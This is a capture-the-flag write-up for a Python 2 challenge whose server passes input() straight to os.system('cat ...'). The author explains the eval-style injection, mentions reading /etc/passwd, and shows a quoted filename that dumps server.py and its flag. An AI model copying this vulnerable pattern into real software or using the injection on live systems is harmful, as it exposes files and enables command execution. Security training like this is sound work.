Warmup cat

Challenge

```
https://imgur.com/a/NAuGuop os.system(('\\cat ' + user_input_olddie_eol))
```

Flag format: DCTF(sha256)

My solution

By connecting to the service via netcat, and throwing random inputs, we have python errors.

```
Exec: aaaa
aaaa
Traceback (most recent call last):
  File "server.py", line 2, in <module>
    Niswanob1=input('Exec: ')
  File "<string>", line 1, in <module>
NameError: name 'aaaa' is not defined
```

By chance, one of my random inputs was id and gave me another error:

```
Traceback (most recent call last):
   File "server.py", line 3, in <module>
     os.system(('\\cat ' + Niswanob1))
TypeError: cannot concatenate 'str' and 'builtin_function_or_method' objects
```

There I realized that what we input is interpreted as literal python code, not strings. It is a known *bug* of Python 2 with the <code>input</code> function. I don't know why, but during my initial solve I then tried to craft strings by concatenating <code>chr()</code> instances. I first tried to read <code>/etc/passwd</code> as a proof of concept, then read the <code>server.py</code> and got the flag.

An easier way to solve this challenge is just to pass the string in quotes, for instance :

```
Exec: "server.py"
"server.py"
import os
Niswanob1=input('Exec: ')
os.system(('\\cat ' + Niswanob1))
# ctf{...}
```

Note: To this day I don't know the use of the backslash prior to the cat.